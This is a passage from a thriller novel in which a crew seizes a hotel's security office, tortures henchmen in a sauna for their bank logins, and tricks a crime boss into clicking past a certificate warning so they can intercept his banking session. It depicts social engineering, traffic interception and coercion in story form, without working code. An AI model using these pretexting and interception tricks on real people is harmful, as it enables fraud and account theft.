A female voice squawked from the walkie-talkie on her hip. “Attention all Gallante security staff. If any remaining personnel have not yet received their individual briefing on tonight’s training exercises, please respond.”

The voice had been buzzing from the radio for the last half hour. The unfamiliar woman identified herself as a dispatcher from RockBox Digital Security, the company that had built the Gallante’s camera and radio systems. Torres had listened to the chatter as her fellow guards had been called up, one by one, to discuss some kind of new procedure that RockBox wanted them to follow.

Torres took one last long drag from her cigarette before extinguishing it in the outdoor ashtray. She brought the walkie-talkie up to her face. “This is Dominga Torres to Dispatch, responding as requested. Just finishing a smoke break. I’ve received no notice about any training exercises scheduled for tonight. No memos, no emails, nothing on the calendar. What’s this all about? Over.”

The voice said, “RockBox sent an email outlining the new procedures last week. It appears that most Gallante personnel didn’t receive it. We think we had a glitch with our email systems, and we deeply apologize for any inconvenience.”

The woman on the radio channel didn’t say “Over”. Torres was irritated by the lack of adherence to proper voice protocol.

“So, what do you need me to do? Over,” Torres asked.

“Please report to the security office,” the voice said. “Our field agent will give you an in-person outline of your role in tonight’s activities.”

“On my way,” said Torres. “Over and out.”

She reentered the building from the smoking balcony and marched through the wide posh passages of the Gallante, feeling comfortably dominant in the maze of halls and stairways that she spent every day dutifully protecting. A trip down an elevator and through a side door marked “HOTEL STAFF ONLY” placed her in a drab white corridor lit by faintly humming fluorescent bulbs.

Torres strode up to an unremarkable gray door with a black placard printed with “SECURITY” — her base of operations. She rapped her knuckles against its drab surface.

The door opened inward, apparently under its own power. Whoever opened the door stood behind it rather than coming out to greet her.

Through the doorway, she could see the main security console. It consisted of a large desk rigged with a radio dispatch board, a computer station, a 9-1-1 hotline, and a dozen

display screens showing feeds from the hotel’s security cameras. It was normally occupied by Karl or Arnie, who would’ve been sitting in the swivel chair and glancing at the bank of screens while watching movies and eating sandwiches. But the swivel chair was empty; the security console, against protocol, was left unmanned.

If there was one thing she learned in East L.A., it was how to spot a set-up.

She backed away and reached down to grab the walkie-talkie at her belt. Goosebumps on her neck and arms brushed electrically against the inside of her uniform.

Her back pressed against something pointed and solid.

She heard a click behind her. It was a very distinctive sound: a revolver's hammer being cocked.

"Don't turn around," a voice said. It had an accent. European of some kind. "And don't scream."

Her breathing quickened. Her mind raced with options.

Spin, duck, bump his arm upward, and go mano-a-mano.

Feign crying.

Reply in Spanish and pretend she didn't understand the instructions.

But she couldn't see how big he is, how old, how competent. Was he nervous? Was he angry? Was he desperate? She didn't have enough situational awareness to decide on a viable escape plan. She had to cooperate for long enough to find out what was going on.

Moving slowly, Torres spread her arms out and lifted them above her head.

"What do you want?" she said quietly.

"Please step through the doorway," said the voice.

Her spirit bucked in defiance. She suppressed her instincts and forced herself to comply.

When she was finally inside the office, she saw Karl and Arnie and the rest of her fellow security staff. They were all gagged and bound with cords of nylon rope. Every last one of them. Their arms were tied to the hinges of interior doors, to a water pipe that ran through the office, to hooks inside their equipment lockers. They followed her with their eyes as she entered the room, each one's face silently screaming.

And standing several feet from them, ensuring their silence, was a man with black IOTV body armor, a full-faced helmet, and a highly accessorized M4 rifle.

The intruder who had opened the door closed it behind her. He stepped into her view, and pointed a MAC-10 at her torso. He was an enormous behemoth of a man, with substantial bulk under his combat suit. A black riot shield was strapped to his left arm. Through the visor of his helmet, she saw that his eyes were determined and professional.

This was not a mere robbery. This was some kind of full-scale military operation.

The Medina Gallante was frequently visited by foreign dignitaries. She had always entertained the notion that, at some point, some high-value political target would appear on its guest roster. That day must have finally come.

The voice behind her spoke. "Slowly lower your hands and put your wrists together behind your back."

The voice's European accent clinched the conclusion in her mind. This was a surgical Special Ops attack by a foreign power. Every man, woman, and child in the Gallante was in extreme danger.

Her fellow guards had all been rendered helpless. The hotel kept eight security personnel on duty at a time. All seven of her colleagues were already there, captured in their own office. Torres was the last one left.

She took a deep breath. She began to lower her arms. But as she brought them down, she simultaneously began bending her knees into a crouch.

Her babies would always know that their mommy died fighting for what's right. For their entire lives, that knowledge would give them strength and guidance in times of trouble. For a gift like that to give to her children, she was willing to pay the cost.

She lunged for the security console.

On the desk was a 9-1-1 hotline — a bright yellow telephone handset that connected directly to the Bellevue PD automatically just by being picked up. The police department's 9-1-1 system would begin recording the call immediately, ensuring that somebody would hear her last words. She grabbed the corded handset and dove underneath the desk.

“Medina Gallante hotel under foreign military attack!” she screamed into the yellow telephone. She spoke as fast as she could, trying to squeeze out as much information as possible before getting riddled with bullets. “Private security incapacitated! Attackers equipped with automatic rifles and combat armor...”

Her voice trailed off. She hadn’t expected to survive long enough to say more than half a dozen words. There were no blasts of gunfire, no bullets flying.

But there was no 9-1-1 dispatcher answering the line, either.

The three soldiers stared at her in astonishment.

The goliath with the shield and the MAC-10 simply said, “Holy crap.”

The man with the M4 said, “That took some serious balls, lady.” To the rest of the captive security personnel, he said, “Did you guys see that? *That* is how you do your job!”

Torres looked back and forth at the three invaders, confused.

The man who had snuck up behind her wore a light ballistic vest and a bowl-shaped open-faced helmet, and carried a silver snubnose .44 Magnum.

“I have good news and bad news for you,” he said. “We’re not here to hurt you. We just need you out of the way. That is the good news. But the bad news is, that phone was cut off before we even got here.”

The yellow handset vibrated in her hand. “Hey. Ms., um, Torres, was it?” It was a woman’s voice — the same voice as the one on her radio. Torres looked at the handset in utter bewilderment. “I’m... I’m really, really sorry.”

“Who the hell are you people?” Torres hissed.

The man in the light vest gestured with his revolver. “That was incredibly heroic, what you did just now,” he said. “You should be very proud of yourself.” He reached into a backpack on the floor, and pulled out a few lengths of nylon rope. “But don’t try it again.”

THE GALLANTE’S EXERCISE AND RECREATION FACILITIES comprised the entire ground floor of the hotel’s south wing. The treadmills and weight machines were populated sparsely, but the massage tables and tanning beds saw plenty of use. The Finnish saunas, complete with birch boughs, were always a favorite among eastern European guests. Especially Russians.

In one of the small, slightly steamy rooms, three muscular men sat naked on white towels laid across wooden benches, talking boisterously in Russian at volume levels much greater than necessary.

“So, her husband’s still twitching on the ground, right?” one man regaled his two fellows. “And she’s, like, blank. You know how they go completely blank, right? And I just smile at her and go, ‘Cheer up, honey! You’re going to die tonight anyway, you might as well do it in a good mood!’”

The two other men burst out in raucous laughter. “You’re one cold bastard, man!” one said as a compliment.

“So what did she do?” asked the other.

“Well, check this out,” he continued. “I had her tied up with rope, so I thought I could take my time. So I’m going through the apartment, looking for the merchandise, when I hear this, ‘Click! Click-click...!’ So I make my way back to her and take a peek...”

“Was it a gun?” one man asked.

The storyteller shook his head.

“A telephone!” the other said.

“Nope.”

“So what was it?”

The storyteller pantomimed putting a cigarette in his mouth and cupping his hands to light it.

“A lighter?”

“Yes! A cigarette lighter! She managed to dig it out of her pocket, and she sort of, like, twisted her hands around...” He mimicked. “...to get the flame right onto the rope, so it would burn right through.”

“Daaaaamn!” said one of the listeners. “Clever girl!”

“I know, right? Must’ve hurt like the Devil, with the fire on her wrists, but she figured it’s better than the alternative. She’d have gotten away with it, too, if I hadn’t heard. She actually managed to get her hands free while I watched her. She was pulling at the knots around her legs when I finally decided, ‘Okay, that’s enough.’”

The rowdy talker reached toward a sleek control board mounted near the frosted-glass door of the tiny room. With the press of a button, nozzles recessed in the wood-paneled walls emitted a quick hiss of steam. He waved an arm briskly through the puffs, relishing the sensation against his skin.

“Moral of the story,” he concluded as he basked in the heat. “When you’re tying someone up with ropes... Make sure they’re not a smoker.”

The men laughed lightly. Moisture condensed on their naked bodies and beaded with their sweat. Wet droplets ran down their faces and chests as they took deep, slow breaths.

One of them was beginning to take slightly bigger gulps of air than the others.

“Hey, do you guys like it turned up this high?” he asked tentatively

The others hesitated for a moment. Finally one said, “It feels maybe a little hotter than it should.”

They looked at the control board. A small black screen reported the current temperature: 230°F (110°C).

“Yeah, that’s a little too high,” one conceded, and pressed a down-arrow button repeatedly until the screen displayed 170°F (80°C).

They let a minute go by, but felt no improvement. All three of them began breathing a little bit more heavily in the thinning air.

“I thought you turned it down,” said one.

“I did! Look!”

The screen again showed 230°F (110°C).

“Idiot doesn’t know how to work the sauna,” one mocked.

“Shut up, asshole,” one said, and punched it back down, watching the numbers descend until they again hit 170°F (80°C).

The moment he took his finger away from the control, the numbers immediately jumped back up to 230°F (110°C).

“What the hell?”

He pressed and held the down-arrow button until it went as low as it would go, to 120°F (49°C). As soon as he released it, it jumped back up to 230°F (110°C).

“Stupid piece of crap,” one said. “I’ll go yell at someone about it.” He rose, wrapped the white towel he was sitting on around his waist, and pushed on the frosted door.

It moved about an inch, and then hit some kind of restraint.

He pushed against it harder. It wouldn’t budge.

Outside, through the frosted glass, a silhouette of an athletic man appeared just beyond the door. He appeared to be wearing a small helmet and a very bulky suit.

“Brothers!” said the man, in Russian. “How are you doing in there? Nice and warm?”

The men sat up shocked in their seats. Their hearts began to race.

One began pounding on the glass with his fist. “What the hell is this!?”

“This?” the man outside said amicably. “This is nothing! It’s just a... a friendly conversation.”

“Who the hell are you?” one yelled.

“Oh, I’m nobody! Nobody at all! But I do have a matter of pressing business with someone named Ivan Zheleznov. Perhaps you fellows have heard of him?”

One stood and body-checked the door, his shoulder slamming hard against the glass. It proved fruitless.

“I really wouldn’t do that if I were you,” the man said mischievously. “All that physical exertion. You might work up a sweat.”

“Let us out, you vermin!” one screamed, and had to sit down to gasp for air. Each breath singed his lungs.

“Not until we talk for a little bit,” the man said.

“What the hell do you want?” one said, feeling dizzy.

“Well, brothers, you see, it’s not really my interest per se,” he said, “but I have some colleagues here who would like to know one slight, insignificant little piece of information. When Ivan pays you, what bank do the payments come from?”

“Bank?” one said, fighting rage and fear as the room boiled around him. “We get paid in cash! He gives us envelopes every week.”

“Are you saying he’s never written you a check or sent you a money transfer? Ever? Not even from one of his proxy corporations?”

The men murmured amongst one another. One said, “Maybe at some point. How the hell should we know? None of us would remember the bank it came from, anyway.”

“Well, we’re going to find out!” said the man in jovial tones. “Here’s what’s going to happen, buddies. You’re each going to tell me which banks you keep your money in, and you’ll give me your logins and passwords to your online accounts. And my colleagues — they’re in control of your temperature, by the way, and can make you as comfortable or uncomfortable as they see fit — they’re going to sift through your banking histories until they find checks or transfers from accounts connected to Ivan. Any additional info you guys can provide to expedite that search will of course make the whole thing go much more quickly.”

“Go choke on a dick, asshole!” one shouted back at him. “We’re not going to hand over our online bank accounts to you!”

“I think you will,” said the man. “And I’d like to remind you that my colleagues are listening to me right now and are ready to use your login information immediately, so it’ll do you absolutely no good to lie. All it’ll do is waste your breath.”

“Rot in hell, you filthy piece of scum!” one screamed as he struggled, weakening, against the door.

The man simply chuckled. He leaned against the glass from the outside, calmly said, “Let me know when you guys are ready,” and began whistling a cheerful, upbeat tune.

I VAN ZHELEZNOV WAS FREEZING. His hoarse voice rattled in the mouthpiece of his room’s desk phone.

“How is problem billing?” he was saying irritably, in English or some likeness thereof. “Is not to me bill for room. Is to American company. Tungsten Medical Technologies.” He fumbled the syllables a few times.

Tina’s voice replied on the line, “Tungsten placed the reservation, yes. But they didn’t pay. They gave us an International Bank Account Number corresponding to a private investment fund in Estonia. The IBAN begins with EENN BB24, and ends with 5177. Is this account associated with you?”

“Yes, yes, yes,” Ivan mumbled, his breath hissing through his teeth. “Is payroll account for Consortium operations. How in Devil you get this bank number?”

“We attempted to bill that account, sir, but the charge wouldn’t go through.”

“Of course it not go through!” Ivan barked. “Not for you to charging me!” He stuttered, partly from his poor grasp of the language, partly from the chilly air. Ivan added, “Now hurry up and bringing someone to fixing cold! Air condition is going crazy!”

Politely, Tina said, “We’re terribly sorry for the malfunction of your air conditioning, sir. We’re sending a repairman to look at it right away.”

“You fixing right now!” said Ivan. “And you talking to the Tungsten about bill. Not me bothering with. Understand?”

“Sir, about that bank account...” Tina said carefully. “There’s a problem with it that requires your personal immediate attention.”

“My attention?” Ivan scoffed. “You know who I even? I not dealing with problems of money between banks. This for people I hire worrying about.”

“Sir,” Tina said grimly, “the charge was blocked because the account has been frozen by Interpol.”

“Frozen by Interpol?” Ivan repeated. “What this is meaning?”

“I have a message here on my screen, sir,” Tina said. “Fund request declined due to Interpol law enforcement investigation in progress.”

“That is impossible!” Ivan howled.

“Would you like me to call the bank, sir? I can talk to them right now.”

“Yes!” Ivan demanded.

“Please wait while I try to reach them,” said Tina. “In the meantime, do you have a computer with you? Can you access your account online? There may be additional information available on the bank’s website.”

Beneath grumbled Russian curses, Ivan tapped on a laptop keyboard.

The Russian curses suddenly grew much louder.

“I get mistake!” Ivan barked into the phone.

“You made a mistake?” Tina asked.

“No, computer make mistake,” Ivan growled. “No website. Only big mistake. Big red mistake words.”

“You mean an error message, sir?” Tina suggested.

“Yes. Yes, Internet giving me error message. It saying, ‘The site’s security certificate is not trusted,’” he read awkwardly and haltingly, putting stresses on incorrect syllables. “‘You attempted to reach salajane.grazhdopank.ee, but the server presented a certificate

issued by an entity that is not trusted by your computer's operating system...'
What this is? I never see before!"

"We've been having problems with our Internet connectivity throughout the hotel today," Tina explained. "We're terribly sorry for the inconvenience. At the bottom of the error message you should see a button labeled, 'Proceed anyway'. Click that, and it will dismiss the error and allow you to connect to your bank's website."

"Your Internet not work, your air condition not work. This hotel is like smelling ass!"

"We greatly apologize for any inconvenience. Have you been able to log in yet?"

"Yes, I am right now log in," said Ivan. "I see bank account as normal. No mistakes, no notes, no problems."

"I have an English-speaking account representative from the bank on the other line," said Tina. "Let me talk to them for a minute. Please hold..." She returned after a minute of silence. "Sorry for the delay, sir. Apparently they froze the wrong assets. There is no Interpol investigation on your account after all. The freeze alert was simply a misunderstanding."

"Misunderstanding?" Ivan grumbled.

"Yes, sir. The bank made a mistake."

“So is no problem?” he confirmed.

“None at all, sir,” said Tina. “And as for the room charges, we’ll discuss the matter with Tungsten at our earliest opportunity. Don’t worry, sir — we will not bill your account without further clarification.”

“Good, good. Now hurry to sending man to air condition fix!”

“He’s on his way, sir,” Tina replied. “Have a good day.”

With a soft click, she hung up.

That was Danny’s cue.

Danny stood in an undecorated emergency stairwell that ran down the full height of the building's main wing, listening silently on his Bluetooth earpiece to the dialog between Tina and the Russian kingpin. On the cellphone synced wirelessly to the headset, he typed out a soundless text-based conversation with Satish and Mike. His team was carefully rerouting a stream of SSL/TLS packets between the Gallante and a data center somewhere in Estonia, craftily injecting their own double-sided proxy into the digital traffic.

He put the cellphone away and picked up the large red toolbox on the concrete landing of the stairwell. His HERF gun was far away, stored safely in the security office where Sergey’s crew sat monitoring the captives.

With a deep breath that echoed off of the cinderblock walls, he opened an emergency exit door.

He stepped out to a wide, elegant penthouse antechamber, with sparkling metallic walls and rich red carpet. One side of the room was a full plate window looking out at the nighttime skyline, adorned with leafy green plants in the corners. The door to the penthouse elevator sat closed next to the emergency exit on one end of the hallway. On the other, a large cedarwood double door stood ominously before him.

Danny walked slowly across the room. He shook his head and arms limply to try to force himself to relax, and tapped his knuckles on the door. He stood patiently, toolbox in hand, waiting for a response.

There was shouting in Russian from inside the room. After a few long moments, a lithe, aggressive-looking man opened the door. He wordlessly bobbed his head to the side, motioning for Danny to come in.

The air in the suite was irritatingly cold. A fierce draft blew through the room, strong enough to make hair wave and clothes billow. The balcony's French doors had been opened wide in an attempt to let out the cold.

On the balcony, a few leather-jacketed men and barely-dressed women smoked and chatted in the outdoor air. Inside, a small group played *Call of Duty* on an enormous wall-mounted plasma TV in a sunken living room. On the dirty-looking glass coffee table, somebody had suspiciously thrown a hotel towel over a large

crystalline bowl to conceal its contents. Several other men merely stood around in a small kitchen area or by a wide spiral staircase, eyeing Danny suspiciously. He saw no weapons out in the open, but he had no doubt they were very close at hand.

Danny looked around. No twelve-year-old girl was anywhere to be seen.

He did, however, see Ivan Zheleznov.

The man descended the spiral staircase like a gray hawk swooping down on a field mouse. He wore a fine three-piece suit and slicked-back silver hair. Despite being the oldest and physically weakest man in the room, the force of his presence imposed a greater degree of intimidation, a greater sense of immediate peril, than any of his bodyguards.

“You come to fixing the air, yes?” he said loudly to Danny in a dry, gravelly, impatient voice.

“Yes,” said Danny. He scanned the room carefully, memorizing the topology and mentally counting the mercenaries.

He found the thermostat on the wall. Danny walked up to it and lingered for several seconds, pretending to study it and tapping at its unresponsive controls.

“The thermostat looks fine. I think there’s a loose heating element somewhere near the sensor,” Danny bluffed. “I’ll need to check your ducts.”

He scanned the walls, and found an air vent near the ceiling. He marched toward it with as much bravado as he could muster, and pulled a chair over to the wall so he could stand on it for a closer look. The vent was about two feet wide and a foot tall. The frosty air blasted him in the face as he looked inside the vent's faceplate, blowing around his helmet and across his ears.

Holding his head level with the opening, he turned to check the view of the room. He could see most of the open downstairs area of the penthouse. This vent would serve him well.

With the help of a screwdriver from his toolbelt, he removed the grating over the opening. He spent several moments pretending to examine the dark interior of the air shaft.

"It, uh, looks like the ventorical airfoil router is jammed," he said.

He turned to study the expressions of the Russians, trying to gauge their reactions. They remained emotionless, showing no response save for their desire for him finish his efforts.

The rest of his work would have to be done sleight-of-hand.

Danny picked up his toolbox and brought it up to the vent. The opening was big enough for him to rest the toolbox partway in the air duct, allowing him to use the red metal

container to obscure his hands from the watchful eyes of Ivan and his men. Danny cracked the lid open and dug noisily through the box's contents. Metallic echoes of rummaging reflected back at him in the flowing air.

From inside the toolbox, he inconspicuously fished out a cellphone. It was a rather small, underpowered model, but it had what he needed: a camera. Working inside the cold, windy air duct, he covertly woke the device from sleep mode.

Using his body to hide his actions, he wadded up a ball of Sticky Tack putty and used it to affix the cellphone to the inside of the air vent, making sure to angle the device's camera to let it see out over the entire room.

From his Bluetooth earpiece, Mike's voice spoke in tinny tones. "I know you can't talk right now, Danny," Mike said. "Just wanted to let you know that we're seeing a stream from the in-room cam. Right now all we can see is you, but once you're out of there it should be good enough for situational awareness."

He pulled out his toolbox, reattached the faceplate, and climbed down from the chair. The men looked at him expectantly.

"Just as I thought. There's a jam in the central overflow valve," he said with as much credibility as he could feign. "It's down in the HVAC room. I can't fix it from here." The men said nothing. "I'll... uh... get right on it."

With toolbox in hand, he practically sprinted through the cedarwood doors out to the penthouse anteroom. Courtesy of Satish, the elevator was already waiting for him. Danny said nothing to his team during the brief muzak-accompanied elevator ride down to the lobby floor. He walked briskly and silently through the opulent lobby, past the bank of elevators

and through the door marked “HOTEL STAFF ONLY” into the drab white fluorescent-lit maintenance hallway. He found the plain door marked “SECURITY,” darted through it, and leaned on it heavily as he closed it behind him.

Sergey stepped away from the rope-bound captives and approached him. “Well?”

Danny let out a long, nervous breath. “Well.”

The office served as a holding cell not only for the Gallante’s security staff, but also for a trio of sweaty, pink-skinned Russians clad in nothing but white towels and fresh bruises. Danny set his toolbox down next to his HERF gun, which stood propped against the wall in a nearby corner, sipping power from an electrical socket.

“Did you see my Rosie?” Sergey asked.

“No,” Danny replied, “but I know they’re holding her on the second floor of the suite. On the main floor I counted ten soldiers. There may be more upstairs.”

Sergey looked down somberly. “Too many,” he said.

Eugene, from across the room, snorted with derision. “Against the three of us, Seryozha? It is not fair. Those poor fuckers. Almost I feel bad for them.”

Sergey shook his head. He spoke to Eugene in a tone that conveyed a complex mixture of apprehension, determination, and love. “*Molodoi kazyol!* Battles can go wrong, nephew. Risking myself is okay, I am fine with. But risking you? Risking Rosie? Risking Leo? That is only a path we take if we have no other options.”

“So what is the plan, then?” Eugene insisted.

Sergey pointed to Danny.

Danny looked down and said nothing. His head pounded sorely. He felt tired and dehydrated — almost like he was hung over.

Sergey stepped closer to him, about to say something.

Danny raised his hand to silently ask Sergey for some space and patience.

Speaking softly into the Bluetooth headset, Danny said, “Jason, are you there?”

Jason’s voice said in a businesslike tone, “I’m here, Danny.”

“How’s our little show coming?”

“It’s done,” Jason said.

“What about my hacker crew?” Danny asked. “Mike? Satish? Moshen? Hell, Roger, even? Are we ready to go?”

Satish said, “Yes, Danny. We’ve set their room temperature back to normal so it looks like repairs were a success. Next step is all yours.”

With a deep breath to bolster his confidence, Danny rose from his chair.

“Okay, then,” he said. “Here’s what’s going to happen. I’m going to come back down to the docks and join Jason in the boat. I’ll deliver the presentation from our command center there. Sergey’s crew will move into ready positions outside the Presidential Suite, and one of them will drop off our little Tupperware box just outside the door. We’ll watch the video feed from the cellphone in the air vent, and we’ll use it to gauge their reaction. If it works, they’ll turn over Sergey’s daughter peacefully, and Sergey will be there to claim her. If it doesn’t, it’ll at least give Sergey’s crew a tactical advantage.”

He picked up the toolbox and was about to hand it to Sergey with a litany of instructions.

Mike interrupted him. “Hey, um, Danny?” the large scruffy man’s voice said over the earpiece. “About that vent cam...”

“Yeah?” Danny asked. “What about it?”

“Have you tried to look at it?”

“No, Mike. I’ve been a little busy,” Danny replied.

“Maybe you should,” Mike said.

A chill ran down Danny’s spine. “Why?...” He reached for the cellphone in his pocket to access the video feed.

He got a `Server not found` error.

He gulped.

“I can’t get to it...,” Danny said slowly.

Mike said, “Neither can the rest of us.”

Danny stared dumbly at the small screen in his hands. “You’ve got to be kidding me...”

Natalie’s voice came in. “It was after you put the cover back on the vent, Danny,” she said. “Mike and I think the phone might have come loose from the Sticky Tack. A minute after you left the room, the whole image kind of turned over and went dark, and then a second later the connection died. ...”

Danny cut her off. “Fuuuuuuuuck!” he groaned. “Oh fucking hell no!”

Mike said, “Relax, Danny. It’s just a slight setback...”

“Setback? Mike... Mike, this is not a ‘setback’! This is a fucking disaster! That video feed is crucial to the rest of the operation! Without any awareness of what’s going on in that room, we’re completely stuck! We can’t negotiate for the release of Sergey’s daughter, and we can’t expect Sergey’s team to launch an effective assault if negotiations fail. Everything we’ve done up to now was for the sole purpose of setting up that camera feed, and everything we do from this point forward depends on it!”

Mike said simply, “Well, Danny, we don’t have it.”

With a blank look in his eyes, Danny unclasped the helmet and pulled it off his head, mindlessly letting it fall to the ground. He walked over to a nearby wall and began gently banging his forehead against it, mumbling, “One stupid fucking piece of Sticky Tack...”

Tina’s voice chimed across the air. “Danny... Danny, hey... Are you okay?”

“Tina. No. No, I’m not okay,” he said, almost whimpering. “I’m a fucking retard. I don’t know why I ever thought I could pull this off. This whole plan is as good as done, and all of this risk was for absolutely nothing, and there’s no way we’re going to get Sergey’s daughter back, and Sergey’s going to literally — *literally* — rip my head off and probably part of my spine dangling along with it, and I fucking deserve it because I’m a goddamned fucking loser that can’t do anything right...”

Jason said, "Danny, this is a really bad time for another breakdown."

The earpiece overheard Moshen and Roger in the parking garage below. "Does he get all emo like this a lot?" asked Roger. Moshen answered, "Second time in as many days." Roger said sardonically, "Way to pick a winner, Tina."

Danny tilted his head and reached one hand to his ear, intending to yank out the Bluetooth headset and throw it to the ground so that he could wallow in the misery of his defeat alone.

He was stopped by the thud of Sergey's heavy hand on his shoulder.

Danny expected that hand to pull him away from the wall and beat him to a bloody pulp. Danny didn't even bother to flinch.

Instead, the hand merely gave him a mild shake to get his attention. "Hey. Daniel." Beneath the visor of his helmet, Sergey's eyes were warm and sympathetic. Gently, he said, "I not going to rip your head off, okay?"

"You're not?" Danny said with a very quiet, froggy voice.

"I know you could have slipped out of this many times now," said Sergey. "I know you are helping me because you are *choosing* do to it. I am grateful. You are good man, Daniel. After everything that has happened in a last few days, you should know: you have my faith."

Danny said meekly, "Well, what if your faith is misplaced?"

Sergey's eyes twinkled with the hint of a smile. "You know something, Daniel? You think too much."

Satish's Indian-accented voice piped up on the channel. "Danny," Satish said. "I want to tell you something. You *don't* have my faith."

"Thanks a whole hell of a lot, Satish."

"I don't mean that in a bad way," Satish replied.

"There's a not-bad way to mean that?"

"Danny, I never rely on faith," said Satish. "I base my judgments on results. And I've seen you be a non-stop fuck-up. But you know what? You're a *robust* fuck-up. You always find a way to recover from your failures. And I'm seeing now that that's much more important than not having failures in the first place. I used to think that nobody should ever do anything unless they can do it perfectly — but I see now that that's just a formula for never doing anything at all. It's less important to have a flawless system than to have one that's self-correcting and fault-tolerant. If a system operates in a way that allows it to adapt organically, then it's going to be more reliable than one that operates rigidly based on a preprogrammed script."

“Several hours ago you were telling me right here in my office that you’re going to start acting like a man. A man is a dynamic system, Danny. When his plans don’t work, a man doesn’t crash like a badly written computer application. A man recovers. A man reboots, marks the faulty lines of code, and keeps going.”

Danny took a deep breath and nodded. “Adapt organically...” he echoed.

The voice that answered Danny on the headset was Tina’s. “Danny,” she said. “Do you remember what I said to you back in the Rite Aid? Biological systems always find a way to make things work. And that brain of yours is one incredibly powerful biological system. It will self-correct. It will adapt. It will persevere. That’s how the system works. That’s how *you* work. You can’t not succeed. You don’t work that way. So you don’t need Sergey’s faith or Satish’s faith or mine or anyone else’s. The faith you need is your own.”

Danny stared blankly ahead for several moments, weighing their words, analyzing them and carefully pondering their implications — until it dawned on him that doing so defeated the purpose.

“You’re right,” he said. He grabbed the toolbox from the floor. “I’ll be back in a minute,” he told Sergey’s team.

And with a Zen-like calm, he strode out the door, into the maintenance hallway.

Mike said to him over the air, “Danny, where are you going?”

Danny walked down the plain white maintenance corridor. “I’m self-correcting,” he said. He opened the door marked “HOTEL STAFF ONLY”, walked out into the luxurious lobby, and stepped into the elevator to the Presidential Suite.

“Tina was right,” he said as he stood in the rising elevator, toolbox in hand. “I’ll either come up with a way for us to not need the cellphone in the vent, or a way to put it back into position.”

“How?” Mike pressed.

Danny replied lightly, “Dunno yet. But you know what? I bet I’ll think of something.”

The elevator arrived at the penthouse. Danny walked across the lavish antechamber toward the cedarwood doors, and knocked.

After a few seconds, the large doors swung open. The same aggressive-looking man greeted Danny at the door. Ivan stood next to him.

“You come back,” Ivan said. “We thought you might.”

Danny smiled genially. “Hi folks, sorry to bother you again. We think we fixed the problem. I’d like to verify, though.”

He stepped calmly into the room. He noticed that the air in the room had returned to a civilized, pleasant temperature, with no draft blowing.

He also noticed that the mercenaries that had previously been out on the balcony had returned indoors. The women stood awkwardly in one corner, looking nervously away. The video game on the immense TV was paused, and its erstwhile players stood at attention in the sunken living room.

The men were all looking directly at Danny.

He pretended not to be unnerved by the focused attention. He walked toward the sunken living room on his way to the vent, the eyes of the hired guns following him keenly as he moved through the room. The doors closed behind him.

He saw the vent. Its faceplate had been removed. The grating lay on the floor beneath the opening.

He froze and stared at it, perplexed. Surely he had put the grating back on the vent before leaving?

From very close behind him, he heard Ivan say, "Looking for this?"

Danny turned around slowly.

Ivan stood before him, his eyes blank with a chill so deep that Danny felt frostbite in his bones. In his creasy, mottled hands, he held the small, underpowered cellphone. The wad of Sticky Tack putty was still stuck to its case.

"I...", Danny stuttered. "No, no! I... Uh, what's that? I've never seen that before..."

The lithe, aggressive-looking man stood next to Ivan. He pulled a small black semi-automatic from his pocket, and pressed it to Danny's chest.

Danny felt his heart beat against the barrel.

In the Bluetooth earpiece, Mike said, "Danny! Danny, what's happening?"

Danny backed up slowly, minding the steps as he descended backwards into the sunken living room. The mercenaries around the room drew their handguns in smooth, silent motions.

Ivan hissed at him, "Do you thinking we are amateurs?"

"Wh— What do you mean?" Danny squeaked.

"A video camera bug in a air vent," Ivan scoffed. "Is insult to the intelligence."

Danny squared his shoulders. With a sudden bravado, he said forcefully, "I'm only here for the girl. Hand her over and no harm will come to you."

Ivan burst out laughing. "No harm come to me?" The mercenaries joined Ivan in laughter.

In the earpiece, Danny heard his team panicking. "Bail him out! Bail him out right now!" said Mike. Sergey replied, "We are not anywhere nearby. Eugene is needing time to get into position."

Danny looked Ivan in the eye and stood his ground. “We’re willing to negotiate.”

Still chuckling, Ivan said, “Yes, I sure you are. You working for Sergey. I know this already. It is surprising, really. This...” He gestured with the cellphone. “This not style of Sergey. Sergey, he more like, ‘Rahhhh! March! Go!’ Punch, kick, boom boom boom. You understand? This, this is more thinking, more like the chess. Sergey was never man for the chess before. Not man for the poker, either. He more like man for, um, for the boxing, yes? For the wrestling. Maybe he learning something as he getting older. Is too bad having to end working together like this.”

The Bluetooth headset buzzed with the voices of Danny’s cohorts. “We can’t just sit here! They’re going to shoot him in there!” Tina insisted. Mike replied, “There’s only one thing we can do. Satish! Roger! Have we finished isolating the X10 controllers?”

With the gun still pressed to his chest, Danny said to Ivan, “So, are you ready to start making a deal?”

Ivan smirked. “*Deal?* Here making ‘deal’. We killing you soon, but not right now. First we having with you a little ‘conversation’. This man here, he is expert at having ‘conversations’ like this.” Ivan gestured to the lithe man holding the gun at Danny’s ribs. The man gave a shark-like grin and grunted happily. “You will telling us everything about where is Sergey and how you working with him. Then, when you done telling us, we finally letting you die. That is ‘deal’, understand?”

In the earpiece, Satish said, “X10 packet injection check, receiver firmware mod check...” Satish proceeded to rattle out a series of hardware address codes. Mike pressed, “Then let’s do it already!”

In the suite, Danny glared at Ivan defiantly, saying nothing.

Ivan leaned toward him. “Ah, so quiet! You having no last words before fun begin?”

Slowly, a wry, diabolical smile crept onto Danny’s face. His eyes twinkled with Machiavellian anticipation.

The lights in the room died. In a blink, the suite went dark, save for the glow from the wide screen of the plasma TV in the sunken living room, paused in the middle of the video game.

The pause screen abruptly flicked away. In its place, the television showed an image split down the middle. The left half displayed nothing but a few lines of black text in an enormous-sized font on a plain white background:

`https://salajane.grazhdopank.ee/ru/`

`Имя / name: и-желез-5177`

`Пароль / password: 999!идинахуй`

DOPAMINE

The right half showed an online banking interface. It was logged in to a corporate account, showing weekly withdrawals of large sums of cash. The ledger was listed in euros, and showed a balance of seven figures.

In the light of the television screen, with every gun in the room pointed at him, Danny looked Ivan in the eyes and grinned.

“Actually, yeah. I’ve got a few things to say.”

DOPAMINE

29

THE MERCENARIES STARED AT THE SCREEN, murmuring in Russian with Ivan and each other. Ivan barked harsh words back at them, demanding order and obedience in a tone that transcended language.

Danny chuckled.

Ivan gave a quick command to the man pressing the gun into Danny's ribs. In a rapid strike, the sinewy, shark-toothed soldier bashed the butt of his handgun against the side of Danny's head. The blow sent Danny reeling sideways, momentarily rendering him too dizzy to see straight. The toolbox rattled in his grasp as he struggled to stay on his feet.

But though he stumbled, he did not fall. And though his brain felt like it jostled within his skull and the side of his face felt warm and sticky with a trickle of blood, he did not scream.

Instead, he simply kept chuckling.

Ivan stepped toward him and leaned into his face. "You think you funny man, huh?"

